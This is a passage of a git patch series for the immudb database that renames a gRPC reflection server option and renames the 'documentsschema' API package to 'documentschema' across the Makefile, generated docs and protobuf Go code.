WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled) return options, nil } diff --git a/pkg/server/options.go b/pkg/server/options.go index 3ea9deaed2..47440b0cd7 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -36,43 +36,43 @@ const DefaultDBName = "defaultdb" // Options server options list type Options struct { - Dir string - Network string - Address string - Port int - Config string - Pidfile string - Logfile string - TLSConfig *tls.Config - auth bool - MaxRecvMsgSize int - NoHistograms bool - Detached bool - MetricsServer bool - MetricsServerPort int - WebServer bool - WebServerPort int - DevMode bool - AdminPassword string `json:"-"` - ForceAdminPassword bool - systemAdminDBName string - defaultDBName string - listener net.Listener - usingCustomListener bool - maintenance bool - SigningKey string - synced bool - RemoteStorageOptions *RemoteStorageOptions - StreamChunkSize int - TokenExpiryTimeMin int - PgsqlServer bool - PgsqlServerPort int - ReplicationOptions *ReplicationOptions - SessionsOptions *sessions.Options - PProf bool - LogFormat string - ReflectionServerEnabled bool - SwaggerUIEnabled bool + Dir string + Network string + Address string + Port int + Config string + Pidfile string + Logfile string + TLSConfig *tls.Config + auth bool + MaxRecvMsgSize int + NoHistograms bool + Detached bool + MetricsServer bool + MetricsServerPort int + WebServer bool + WebServerPort int + DevMode bool + AdminPassword string `json:"-"` + ForceAdminPassword bool + systemAdminDBName string + defaultDBName string + listener net.Listener + usingCustomListener bool + maintenance bool + SigningKey string + synced bool + RemoteStorageOptions *RemoteStorageOptions + StreamChunkSize int + TokenExpiryTimeMin int + PgsqlServer bool + PgsqlServerPort int + ReplicationOptions *ReplicationOptions + SessionsOptions *sessions.Options + PProf bool + LogFormat string + GRPCReflectionServerEnabled bool + SwaggerUIEnabled bool } type RemoteStorageOptions struct { @@ -103,40 +103,40 @@ type ReplicationOptions struct { // DefaultOptions returns default server options func DefaultOptions() *Options { return &Options{ - Dir: "./data", - Network: "tcp", - Address: "0.0.0.0", - Port: 3322, - Config: "configs/immudb.toml", - Pidfile: "", - Logfile: "", - TLSConfig: nil, - auth: true, - MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb - NoHistograms: false, - Detached: false, - MetricsServer: true, - MetricsServerPort: 9497, - WebServer: true, - WebServerPort: 8080, - DevMode: false, - AdminPassword: auth.SysAdminPassword, - ForceAdminPassword: false, - systemAdminDBName: SystemDBName, - defaultDBName: DefaultDBName, - usingCustomListener: false, - maintenance: false, - synced: true, - RemoteStorageOptions: DefaultRemoteStorageOptions(), - StreamChunkSize: stream.DefaultChunkSize, - TokenExpiryTimeMin: 1440, - PgsqlServer: false, - PgsqlServerPort: 5432, - ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, - SessionsOptions: sessions.DefaultOptions(), - PProf: false, - ReflectionServerEnabled: true, - SwaggerUIEnabled: true, + Dir: "./data", + Network: "tcp", + Address: "0.0.0.0", + Port: 3322, + Config: "configs/immudb.toml", + Pidfile: "", + Logfile: "", + TLSConfig: nil, + auth: true, + MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb + NoHistograms: false, + Detached: false, + MetricsServer: true, + MetricsServerPort: 9497, + WebServer: true, + WebServerPort: 8080, + DevMode: false, + AdminPassword: auth.SysAdminPassword, + ForceAdminPassword: false, + systemAdminDBName: SystemDBName, + defaultDBName: DefaultDBName, + usingCustomListener: false, + maintenance: false, + synced: true, + RemoteStorageOptions: DefaultRemoteStorageOptions(), + StreamChunkSize: stream.DefaultChunkSize, + TokenExpiryTimeMin: 1440, + PgsqlServer: false, + PgsqlServerPort: 5432, + ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, + SessionsOptions: sessions.DefaultOptions(), + PProf: false, + GRPCReflectionServerEnabled: true, + SwaggerUIEnabled: true, } } @@ -456,8 +456,8 @@ func (o *Options) WithPProf(pprof bool) *Options { return o } -func (o *Options) WithReflectionServerEnabled(enabled bool) *Options { - o.ReflectionServerEnabled = enabled +func (o *Options) WithGRPCReflectionServerEnabled(enabled bool) *Options { + o.GRPCReflectionServerEnabled = enabled return o } diff --git a/pkg/server/server.go b/pkg/server/server.go index 8bc3a26616..42299f1f7a 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -242,7 +242,7 @@ func (s *ImmuServer) Initialize() error { ) s.GrpcServer = grpc.NewServer(grpcSrvOpts...) - if s.Options.ReflectionServerEnabled { + if s.Options.GRPCReflectionServerEnabled { reflection.Register(s.GrpcServer) } From e56cc7dead1eaed1ba13a0f81a773a9801037d5f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 9 Mar 2023 22:53:15 +0100 Subject: [PATCH 0299/1062] Renaming documentsschema to documentschema --- Makefile | 20 +- .../docs.md | 184 +-- .../documentschema.pb.go} | 1014 ++++++++--------- .../documentschema.pb.gw.go} | 6 +- .../documentschema.proto} | 4 +- .../documentschema.swagger.json} | 96 +- .../documentschema_grpc.pb.go} | 38 +- pkg/server/documents_operations.go | 18 +- pkg/server/server.go | 4 +- pkg/server/webserver.go | 4 +- swagger/swaggeroverrides.js | 2 +- 11 files changed, 694 insertions(+), 696 deletions(-) rename pkg/api/{documentsschema => documentschema}/docs.md (56%) rename pkg/api/{documentsschema/documentsschema.pb.go => documentschema/documentschema.pb.go} (52%) rename pkg/api/{documentsschema/documentsschema.pb.gw.go => documentschema/documentschema.pb.gw.go} (99%) rename pkg/api/{documentsschema/documentsschema.proto => documentschema/documentschema.proto} (99%) rename pkg/api/{documentsschema/documentsschema.swagger.json => documentschema/documentschema.swagger.json} (90%) rename pkg/api/{documentsschema/documentsschema_grpc.pb.go => documentschema/documentschema_grpc.pb.go} (89%) diff --git a/Makefile b/Makefile index 8cd6a96070..d7ad1ef505 100644 --- a/Makefile +++ b/Makefile @@ -191,38 +191,38 @@ build/codegen: .PHONY: build/codegendocuments build/codegendocuments: - $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ + $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --go_out=paths=source_relative:pkg/api/documentsschema \ - --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/documentsschema \ + --go_out=paths=source_relative:pkg/api/documentschema \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/documentschema \ --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc - $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ + $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/documentsschema \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/documentschema \ --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway - $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ + $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --swagger_out=logtostderr=true:pkg/api/documentsschema \ + --swagger_out=logtostderr=true:pkg/api/documentschema \ --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger - $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ + $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --doc_out=pkg/api/documentsschema --doc_opt=markdown,docs.md \ + --doc_out=pkg/api/documentschema --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc .PHONY: build/codegenauthorization @@ -266,7 +266,7 @@ build/codegenauthorization: curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) cp pkg/api/authorizationschema/authorizationschema.swagger.json swagger/dist/authorizationschema.swagger.json - cp pkg/api/documentsschema/documentsschema.swagger.json swagger/dist/documentsschema.swagger.json + cp pkg/api/documentschema/documentschema.swagger.json swagger/dist/documentschema.swagger.json cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js diff --git a/pkg/api/documentsschema/docs.md b/pkg/api/documentschema/docs.md similarity index 56% rename from pkg/api/documentsschema/docs.md rename to pkg/api/documentschema/docs.md index 990a0a33a4..dba9d9f54f 100644 --- a/pkg/api/documentsschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -3,53 +3,53 @@ ## Table of Contents -- [documentsschema.proto](#documentsschema.proto) - - [CollectionCreateRequest](#immudb.documentsschema.CollectionCreateRequest) - - [CollectionCreateRequest.IndexKeysEntry](#immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry) - - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry) - - [CollectionCreateResponse](#immudb.documentsschema.CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb.documentsschema.CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb.documentsschema.CollectionDeleteResponse) - - [CollectionGetRequest](#immudb.documentsschema.CollectionGetRequest) - - [CollectionGetResponse](#immudb.documentsschema.CollectionGetResponse) - - [CollectionInformation](#immudb.documentsschema.CollectionInformation) - - [CollectionInformation.IndexKeysEntry](#immudb.documentsschema.CollectionInformation.IndexKeysEntry) - - [CollectionInformation.PrimaryKeysEntry](#immudb.documentsschema.CollectionInformation.PrimaryKeysEntry) - - [CollectionListRequest](#immudb.documentsschema.CollectionListRequest) - - [CollectionListResponse](#immudb.documentsschema.CollectionListResponse) - - [DocumentAudit](#immudb.documentsschema.DocumentAudit) - - [DocumentAuditRequest](#immudb.documentsschema.DocumentAuditRequest) - - [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry) - - [DocumentAuditResponse](#immudb.documentsschema.DocumentAuditResponse) - - [DocumentInsertRequest](#immudb.documentsschema.DocumentInsertRequest) - - [DocumentInsertResponse](#immudb.documentsschema.DocumentInsertResponse) - - [DocumentProofRequest](#immudb.documentsschema.DocumentProofRequest) - - [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry) - - [DocumentProofResponse](#immudb.documentsschema.DocumentProofResponse) - - [DocumentQuery](#immudb.documentsschema.DocumentQuery) - - [DocumentSearchRequest](#immudb.documentsschema.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.documentsschema.DocumentSearchResponse) - - [IndexOption](#immudb.documentsschema.IndexOption) - - [IndexValue](#immudb.documentsschema.IndexValue) - - [Proof](#immudb.documentsschema.Proof) +- [documentschema.proto](#documentschema.proto) + - [CollectionCreateRequest](#immudb.documentschema.CollectionCreateRequest) + - [CollectionCreateRequest.IndexKeysEntry](#immudb.documentschema.CollectionCreateRequest.IndexKeysEntry) + - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry) + - [CollectionCreateResponse](#immudb.documentschema.CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) + - [CollectionGetRequest](#immudb.documentschema.CollectionGetRequest) + - [CollectionGetResponse](#immudb.documentschema.CollectionGetResponse) + - [CollectionInformation](#immudb.documentschema.CollectionInformation) + - [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) + - [CollectionInformation.PrimaryKeysEntry](#immudb.documentschema.CollectionInformation.PrimaryKeysEntry) + - [CollectionListRequest](#immudb.documentschema.CollectionListRequest) + - [CollectionListResponse](#immudb.documentschema.CollectionListResponse) + - [DocumentAudit](#immudb.documentschema.DocumentAudit) + - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) + - [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry) + - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) + - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) + - [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) + - [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) + - [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry) + - [DocumentProofResponse](#immudb.documentschema.DocumentProofResponse) + - [DocumentQuery](#immudb.documentschema.DocumentQuery) + - [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) + - [DocumentSearchResponse](#immudb.documentschema.DocumentSearchResponse) + - [IndexOption](#immudb.documentschema.IndexOption) + - [IndexValue](#immudb.documentschema.IndexValue) + - [Proof](#immudb.documentschema.Proof) - - [IndexType](#immudb.documentsschema.IndexType) - - [QueryOperator](#immudb.documentsschema.QueryOperator) + - [IndexType](#immudb.documentschema.IndexType) + - [QueryOperator](#immudb.documentschema.QueryOperator) - - [DocumentService](#immudb.documentsschema.DocumentService) + - [DocumentService](#immudb.documentschema.DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

-## documentsschema.proto +## documentschema.proto - + ### CollectionCreateRequest @@ -58,15 +58,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | -| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry) | repeated | | +| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.documentschema.CollectionCreateRequest.IndexKeysEntry) | repeated | | - + ### CollectionCreateRequest.IndexKeysEntry @@ -75,14 +75,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | +| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - + ### CollectionCreateRequest.PrimaryKeysEntry @@ -91,14 +91,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | +| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - + ### CollectionCreateResponse @@ -106,14 +106,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [CollectionInformation](#immudb.documentsschema.CollectionInformation) | | | +| collection | [CollectionInformation](#immudb.documentschema.CollectionInformation) | | | - + ### CollectionDeleteRequest @@ -128,7 +128,7 @@ - + ### CollectionDeleteResponse @@ -143,7 +143,7 @@ - + ### CollectionGetRequest @@ -158,7 +158,7 @@ - + ### CollectionGetResponse @@ -166,14 +166,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [CollectionInformation](#immudb.documentsschema.CollectionInformation) | | | +| collection | [CollectionInformation](#immudb.documentschema.CollectionInformation) | | | - + ### CollectionInformation @@ -182,15 +182,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.documentsschema.CollectionInformation.PrimaryKeysEntry) | repeated | | -| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.documentsschema.CollectionInformation.IndexKeysEntry) | repeated | | +| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.documentschema.CollectionInformation.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) | repeated | | - + ### CollectionInformation.IndexKeysEntry @@ -199,14 +199,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | +| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - + ### CollectionInformation.PrimaryKeysEntry @@ -215,14 +215,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | +| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - + ### CollectionListRequest @@ -232,7 +232,7 @@ - + ### CollectionListResponse @@ -240,14 +240,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [CollectionInformation](#immudb.documentsschema.CollectionInformation) | repeated | | +| collections | [CollectionInformation](#immudb.documentschema.CollectionInformation) | repeated | | - + ### DocumentAudit @@ -263,7 +263,7 @@ - + ### DocumentAuditRequest @@ -272,7 +272,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| primaryKeys | [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry) | repeated | | +| primaryKeys | [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -281,7 +281,7 @@ - + ### DocumentAuditRequest.PrimaryKeysEntry @@ -290,14 +290,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [IndexValue](#immudb.documentsschema.IndexValue) | | | +| value | [IndexValue](#immudb.documentschema.IndexValue) | | | - + ### DocumentAuditResponse @@ -305,7 +305,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| results | [DocumentAudit](#immudb.documentsschema.DocumentAudit) | repeated | | +| results | [DocumentAudit](#immudb.documentschema.DocumentAudit) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | | entriesLeft | [uint32](#uint32) | | | @@ -315,7 +315,7 @@ - + ### DocumentInsertRequest @@ -331,7 +331,7 @@ - + ### DocumentInsertResponse @@ -346,7 +346,7 @@ - + ### DocumentProofRequest @@ -355,7 +355,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| primaryKeys | [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry) | repeated | | +| primaryKeys | [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry) | repeated | | | atRevision | [int64](#int64) | | | @@ -363,7 +363,7 @@ - + ### DocumentProofRequest.PrimaryKeysEntry @@ -372,14 +372,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [IndexValue](#immudb.documentsschema.IndexValue) | | | +| value | [IndexValue](#immudb.documentschema.IndexValue) | | | - + ### DocumentProofResponse @@ -394,7 +394,7 @@ - + ### DocumentQuery @@ -403,7 +403,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [QueryOperator](#immudb.documentsschema.QueryOperator) | | | +| operator | [QueryOperator](#immudb.documentschema.QueryOperator) | | | | value | [google.protobuf.Value](#google.protobuf.Value) | | | @@ -411,7 +411,7 @@ - + ### DocumentSearchRequest @@ -420,7 +420,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [DocumentQuery](#immudb.documentsschema.DocumentQuery) | repeated | | +| query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -429,7 +429,7 @@ - + ### DocumentSearchResponse @@ -447,7 +447,7 @@ - + ### IndexOption @@ -455,14 +455,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| type | [IndexType](#immudb.documentsschema.IndexType) | | | +| type | [IndexType](#immudb.documentschema.IndexType) | | | - + ### IndexValue @@ -480,7 +480,7 @@ - + ### Proof @@ -497,7 +497,7 @@ - + ### IndexType @@ -510,7 +510,7 @@ - + ### QueryOperator @@ -530,21 +530,21 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| DocumentInsert | [DocumentInsertRequest](#immudb.documentsschema.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.documentsschema.DocumentInsertResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.documentsschema.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.documentsschema.DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb.documentsschema.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.documentsschema.DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb.documentsschema.DocumentProofRequest) | [DocumentProofResponse](#immudb.documentsschema.DocumentProofResponse) | | -| CollectionCreate | [CollectionCreateRequest](#immudb.documentsschema.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.documentsschema.CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb.documentsschema.CollectionGetRequest) | [CollectionGetResponse](#immudb.documentsschema.CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb.documentsschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentsschema.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.documentsschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentsschema.CollectionDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.documentschema.DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) | [DocumentProofResponse](#immudb.documentschema.DocumentProofResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.documentschema.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.documentschema.CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb.documentschema.CollectionGetRequest) | [CollectionGetResponse](#immudb.documentschema.CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb.documentschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentschema.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | diff --git a/pkg/api/documentsschema/documentsschema.pb.go b/pkg/api/documentschema/documentschema.pb.go similarity index 52% rename from pkg/api/documentsschema/documentsschema.pb.go rename to pkg/api/documentschema/documentschema.pb.go index e98eef9533..f1571366f3 100644 --- a/pkg/api/documentsschema/documentsschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -2,9 +2,9 @@ // versions: // protoc-gen-go v1.28.0 // protoc v3.12.4 -// source: documentsschema.proto +// source: documentschema.proto -package documentsschema +package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" @@ -67,11 +67,11 @@ func (x QueryOperator) String() string { } func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { - return file_documentsschema_proto_enumTypes[0].Descriptor() + return file_documentschema_proto_enumTypes[0].Descriptor() } func (QueryOperator) Type() protoreflect.EnumType { - return &file_documentsschema_proto_enumTypes[0] + return &file_documentschema_proto_enumTypes[0] } func (x QueryOperator) Number() protoreflect.EnumNumber { @@ -80,7 +80,7 @@ func (x QueryOperator) Number() protoreflect.EnumNumber { // Deprecated: Use QueryOperator.Descriptor instead. func (QueryOperator) EnumDescriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{0} + return file_documentschema_proto_rawDescGZIP(), []int{0} } type IndexType int32 @@ -116,11 +116,11 @@ func (x IndexType) String() string { } func (IndexType) Descriptor() protoreflect.EnumDescriptor { - return file_documentsschema_proto_enumTypes[1].Descriptor() + return file_documentschema_proto_enumTypes[1].Descriptor() } func (IndexType) Type() protoreflect.EnumType { - return &file_documentsschema_proto_enumTypes[1] + return &file_documentschema_proto_enumTypes[1] } func (x IndexType) Number() protoreflect.EnumNumber { @@ -129,7 +129,7 @@ func (x IndexType) Number() protoreflect.EnumNumber { // Deprecated: Use IndexType.Descriptor instead. func (IndexType) EnumDescriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{1} + return file_documentschema_proto_rawDescGZIP(), []int{1} } type DocumentInsertRequest struct { @@ -144,7 +144,7 @@ type DocumentInsertRequest struct { func (x *DocumentInsertRequest) Reset() { *x = DocumentInsertRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[0] + mi := &file_documentschema_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -157,7 +157,7 @@ func (x *DocumentInsertRequest) String() string { func (*DocumentInsertRequest) ProtoMessage() {} func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[0] + mi := &file_documentschema_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -170,7 +170,7 @@ func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{0} + return file_documentschema_proto_rawDescGZIP(), []int{0} } func (x *DocumentInsertRequest) GetCollection() string { @@ -198,7 +198,7 @@ type DocumentInsertResponse struct { func (x *DocumentInsertResponse) Reset() { *x = DocumentInsertResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[1] + mi := &file_documentschema_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -211,7 +211,7 @@ func (x *DocumentInsertResponse) String() string { func (*DocumentInsertResponse) ProtoMessage() {} func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[1] + mi := &file_documentschema_proto_msgTypes[1] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -224,7 +224,7 @@ func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentInsertResponse.ProtoReflect.Descriptor instead. func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{1} + return file_documentschema_proto_rawDescGZIP(), []int{1} } func (x *DocumentInsertResponse) GetProof() *schema.VerifiableTx { @@ -251,7 +251,7 @@ type IndexValue struct { func (x *IndexValue) Reset() { *x = IndexValue{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[2] + mi := &file_documentschema_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -264,7 +264,7 @@ func (x *IndexValue) String() string { func (*IndexValue) ProtoMessage() {} func (x *IndexValue) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[2] + mi := &file_documentschema_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -277,7 +277,7 @@ func (x *IndexValue) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexValue.ProtoReflect.Descriptor instead. func (*IndexValue) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{2} + return file_documentschema_proto_rawDescGZIP(), []int{2} } func (m *IndexValue) GetKind() isIndexValue_Kind { @@ -349,14 +349,14 @@ type DocumentQuery struct { unknownFields protoimpl.UnknownFields Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator 